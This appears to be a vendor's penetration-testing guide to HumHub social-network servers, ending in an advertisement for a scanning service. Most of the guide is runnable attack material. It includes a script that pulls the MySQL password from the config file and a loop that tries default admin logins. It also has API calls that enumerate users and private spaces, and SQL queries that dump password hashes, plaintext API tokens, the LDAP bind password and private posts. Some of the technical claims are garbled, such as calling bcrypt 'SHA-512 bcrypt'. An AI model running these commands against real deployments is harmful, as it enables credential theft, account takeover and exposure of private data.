HumHub Security Testing: Default Credentials, API Key, Database, and Social Network

HumHub is a widely deployed open-source enterprise social network and team collaboration platform — used by organizations as an internal intranet and knowledge sharing tool. Key assessment areas: protected/config/common.php exposes MySQL credentials in the DSN connection string; admin credentials grant full platform control; the REST API uses Bearer tokens; LDAP integration credentials may be extracted from admin settings; and private space content may be accessible. This guide covers systematic HumHub security assessment.

Table of Contents

  1. common.php MySQL Credential Extraction
  2. REST API Bearer Token and Admin Credential Assessment
  3. MySQL User Hash, Token, and LDAP Credential Extraction
  4. HumHub Security Hardening

common.php MySQL Credential Extraction

# HumHub — protected/config/common.php MySQL credential extraction
HUMHUB_URL="https://social.example.com"

# protected/config/common.php — HumHub database configuration
cat /var/www/humhub/protected/config/common.php 2>/dev/null
# 'components' => [
#   'db' => [
#     'dsn' => 'mysql:host=localhost;dbname=humhub',
#     'username' => 'humhub',
#     'password' => '...',    <-- MySQL database password
#     'charset' => 'utf8mb4',
#   ],
# ]

python3 -c "
import re
content = open('/var/www/humhub/protected/config/common.php').read()
patterns = {
    'db_password': r\"'password'\s*=>\s*'([^']+)'\",
    'db_username': r\"'username'\s*=>\s*'([^']+)'\",
    'db_dsn': r\"'dsn'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:80]}')
" 2>/dev/null

# Check runtime log directory for credential leakage
ls -la /var/www/humhub/protected/runtime/logs/ 2>/dev/null | head -10
# app.log may contain database errors with credentials

# HumHub version disclosure
curl -s "${HUMHUB_URL}/index.php?r=about/index" 2>/dev/null | \
  grep -oP 'HumHub v?[0-9]+\.[0-9]+\.[0-9]+' | head -1

# Test admin credentials at /user/auth/login
for CRED in "admin:admin" "admin:humhub" "admin@example.com:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s "${HUMHUB_URL}/index.php?r=user/auth/login" | \
    grep -oP '_csrf" value="\K[^"]+' | head -1 2>/dev/null)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${HUMHUB_URL}/index.php?r=user/auth/login" \
    -d "Login[username]=${USER}&Login[password]=${PASS}&_csrf=${TOKEN}" \
    -c /tmp/humhub_c -b /tmp/humhub_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API Bearer Token and Admin Credential Assessment

# HumHub REST API — Bearer token and admin credential assessment
HUMHUB_URL="https://social.example.com"

# HumHub REST API v1 — Bearer token authentication
# Tokens generated in profile settings: Settings > API tokens
# Generate token via admin: Admin > Users > select user > API Tokens tab

# Get user info with extracted Bearer token
BEARER_TOKEN="extracted-api-token"
curl -s "${HUMHUB_URL}/api/v1/user/me" \
  -H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Username: {d.get(\"account\",{}).get(\"username\")}')
print(f'Email: {d.get(\"account\",{}).get(\"email\")}')
print(f'Admin: {d.get(\"account\",{}).get(\"is_system_admin\")}')
" 2>/dev/null

# Enumerate all users (admin API)
curl -s "${HUMHUB_URL}/api/v1/user?limit=50&page=1" \
  -H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get(\"total\")}')
for u in d.get('results',[])[:5]:
    a = u.get('account',{})
    p = u.get('profile',{})
    print(f'  {a.get(\"username\")} | {a.get(\"email\")} | admin={a.get(\"is_system_admin\")}')
" 2>/dev/null

# Enumerate all spaces (groups/communities)
curl -s "${HUMHUB_URL}/api/v1/space?limit=50&page=1" \
  -H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total spaces: {d.get(\"total\")}')
for s in d.get('results',[])[:10]:
    print(f'  [{s.get(\"visibility\")}] {s.get(\"name\")} — members: {s.get(\"member_count\")}')
" 2>/dev/null

MySQL User Hash, Token, and LDAP Credential Extraction

# HumHub MySQL database — user hash, token, and LDAP credential extraction
DB_PASS="extracted-db-password"

mysql -u humhub -p"${DB_PASS}" humhub 2>/dev/null << 'EOF'
-- HumHub users with password hashes
SELECT u.id, u.username, u.email, u.password,
       u.status, u.auth_mode, u.created_at, u.last_login
FROM user u
WHERE u.status = 1              -- 1 = enabled
ORDER BY u.id
LIMIT 20;
-- password: SHA-512 bcrypt format ($2y$)
-- auth_mode: 'local', 'ldap', 'saml' — non-local may have empty password

-- API tokens (Bearer tokens for REST API)
SELECT at.id, at.user_id, at.token, at.title,
       at.created_at, at.last_used_at, at.expiration,
       u.username, u.email
FROM user_auth_token at
JOIN user u ON at.user_id = u.id
WHERE at.expiration IS NULL OR at.expiration > NOW()
ORDER BY at.last_used_at DESC
LIMIT 20;
-- token: plaintext Bearer token for REST API

-- System admin identification
SELECT u.username, u.email, u.password,
       g.name as group_name
FROM user u
JOIN group_user gu ON u.id = gu.user_id
JOIN group g ON gu.group_id = g.id
WHERE g.is_admin_group = 1;

-- LDAP configuration (admin credentials for directory access)
SELECT s.name, s.value
FROM setting s
WHERE s.module_id = 'ldap'
AND s.name IN ('password', 'username', 'hostname', 'baseDn', 'loginFilter')
LIMIT 20;
-- password: plaintext LDAP bind DN password

-- Space content (private posts and files)
SELECT c.id, c.object_model, c.space_id,
       c.created_by, c.created_at, u.username
FROM content c
JOIN user u ON c.created_by = u.id
WHERE c.visibility = 0          -- 0 = private
ORDER BY c.created_at DESC
LIMIT 20;
EOF

HumHub Security Hardening

HumHub Security Hardening Checklist:
Security TestMethodRisk
protected/config/common.php MySQL DSN password extractionRead /var/www/humhub/protected/config/common.php — database credentials for all user content, posts, messages, and API tokensCritical
user_auth_token plaintext Bearer token extractionMySQL SELECT token FROM user_auth_token — plaintext REST API Bearer tokens; full API access at token user's permission level including admin tokensHigh
Admin credential brute-force (admin/admin, admin/humhub)POST /index.php?r=user/auth/login — admin session; full platform management, user management, module installation, space administrationHigh
LDAP bind DN password extraction from setting tableMySQL SELECT value FROM setting WHERE module_id='ldap' AND name='password' — plaintext LDAP service account credentials for directory accessHigh
REST API private space content and user enumerationGET /api/v1/space and /api/v1/user — all spaces including private ones; all user emails and admin status; private post content accessMedium

Automate HumHub Security Testing

Ironimo tests HumHub deployments for protected/config/common.php MySQL DSN password web exposure, /protected/runtime/logs/ log file information disclosure, admin/admin credential brute-force at /user/auth/login, user_auth_token plaintext Bearer token extraction (no-expiry tokens), REST API /api/v1/user admin status enumeration, REST API /api/v1/space private space listing, user table SHA-512 bcrypt password hash extraction, LDAP bind DN password extraction from setting table, file upload PHP execution protection verification, and HumHub version disclosure for CVE targeting.

Start free scan